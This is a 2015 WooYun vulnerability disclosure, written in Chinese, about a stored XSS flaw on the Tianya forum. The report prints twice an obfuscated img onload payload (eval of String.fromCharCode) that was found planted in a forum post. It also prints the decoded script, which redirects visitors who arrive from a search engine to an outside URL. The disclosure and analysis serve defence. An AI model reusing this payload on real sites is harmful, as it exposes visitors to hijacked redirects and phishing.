当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0107601

漏洞标题：天涯社区过滤不严导致任意js代码执行，可用于跳转、弹窗、钓鱼等危害甚大

相关厂商：天涯社区

漏洞作者： 路人甲

提交时间：2015-04-14 18:32

修复时间：2015-04-20 14:22

公开时间：2015-04-20 14:22

漏洞类型：恶意信息传播

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-14： 细节已通知厂商并且等待厂商处理中
2015-04-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

天涯社区过滤不严导致用户发帖可插入加密代码后，执行任意js代码。如被恶意利用，可通过跳转、弹窗、钓鱼等方式令用户遭受损失，令平台信誉度降低。

详细说明：

发帖之前，见有人已经发布过一次xss漏洞：天涯博客存在xss漏洞 WooYun: 天涯博客存在xss漏洞 ，居然被忽略了！好吧，虽然天涯社区也存在这样的漏洞，例如：http://bbs.tianya.cn/post-129938-197-1.shtml
整个板块都被人用来发广告了http://bbs.tianya.cn/list-129938-1.shtml
用户反馈：为啥链接都自动进入亿健的天猫店？
如果天涯还觉得此问题不严重的话，请看今天提交的漏洞，比这个更严重！
页面示例（当然不是我发的）：bbs.tianya.cn/post-123979-157-1.shtml
直接复制网址，打开是正常的，但是用百度搜索等打开，就会自动跳转，这是为什么呢？来分析下代码，代码中含有以下加密代码：

<img src="http://static.tianyaui.com/img/static/2011/imgloading.gif" title="点击图片查看幻灯模式"  9e814fc2-a604-4f6d-b66a-f6e852f1833e="" onload="eval(String.fromCharCode(105,102,40,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,98,97,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,115,111,46,99,111,109,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,103,111,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,9,115,111,46,99,111,109,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,113,117,101,114,121,61,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,113,61,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,119,100,61,39,41,33,61,45,49,32,41,123,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,119,119,119,46,108,118,52,57,48,46,99,111,109,47,97,108,105,109,97,109,47,50,52,52,51,51,50,53,57,53,52,47,112,111,50,50,47,119,101,105,108,117,110,47,112,98,106,47,121,105,112,97,111,47,49,46,115,119,102,39,125))" original="http://www.qjy168.com/images/logo.gif" style="width: 0px; height: 0px" />


为什么都是数字呢？怎么解密呢？在这里就不介绍了，相信天涯技术人员绝对没问题。
通过一段技术代码进行解密后，eval()中的加密代码就出来了：

if(document.referrer.indexOf('ba')!=-1 || document.referrer.indexOf('so.com')!=-1 || document.referrer.indexOf('go')!=-1 || document.referrer.indexOf('	so.com')!=-1 || document.referrer.indexOf('query=')!=-1 || document.referrer.indexOf('q=')!=-1 || document.referrer.indexOf('wd=')!=-1 ){location.href='http://www.lv490.com/alimam/2443325954/po22/weilun/pbj/yipao/1.swf'}


简单解释就是从URL中带有“ba、so.com……”等搜索引擎进入页面就会自动跳转到指定URL。且不管这跳转有什么危害，关键是执行了用户指定的js代码！！！
试想一下，如果换成其他的js代码呢？弹窗钓鱼、替换链接……危害不是很大么？难道还不够严重么？

漏洞证明：

页面示例（当然不是我发的）：bbs.tianya.cn/post-123979-157-1.shtml
直接复制网址，打开是正常的，但是用百度搜索等打开，就会自动跳转，这是为什么呢？来分析下代码，代码中含有以下加密代码：

<img src="http://static.tianyaui.com/img/static/2011/imgloading.gif" title="点击图片查看幻灯模式"  9e814fc2-a604-4f6d-b66a-f6e852f1833e="" onload="eval(String.fromCharCode(105,102,40,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,98,97,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,115,111,46,99,111,109,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,103,111,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,9,115,111,46,99,111,109,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,113,117,101,114,121,61,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,113,61,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,119,100,61,39,41,33,61,45,49,32,41,123,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,119,119,119,46,108,118,52,57,48,46,99,111,109,47,97,108,105,109,97,109,47,50,52,52,51,51,50,53,57,53,52,47,112,111,50,50,47,119,101,105,108,117,110,47,112,98,106,47,121,105,112,97,111,47,49,46,115,119,102,39,125))" original="http://www.qjy168.com/images/logo.gif" style="width: 0px; height: 0px" />


为什么都是数字呢？怎么解密呢？在这里就不介绍了，相信天涯技术人员绝对没问题。
通过一段技术代码进行解密后，eval()中的加密代码就出来了：

if(document.referrer.indexOf('ba')!=-1 || document.referrer.indexOf('so.com')!=-1 || document.referrer.indexOf('go')!=-1 || document.referrer.indexOf('	so.com')!=-1 || document.referrer.indexOf('query=')!=-1 || document.referrer.indexOf('q=')!=-1 || document.referrer.indexOf('wd=')!=-1 ){location.href='http://www.lv490.com/alimam/2443325954/po22/weilun/pbj/yipao/1.swf'}

修复方案：

这个要过滤吧，技术人员比我懂~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-20 14:22

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无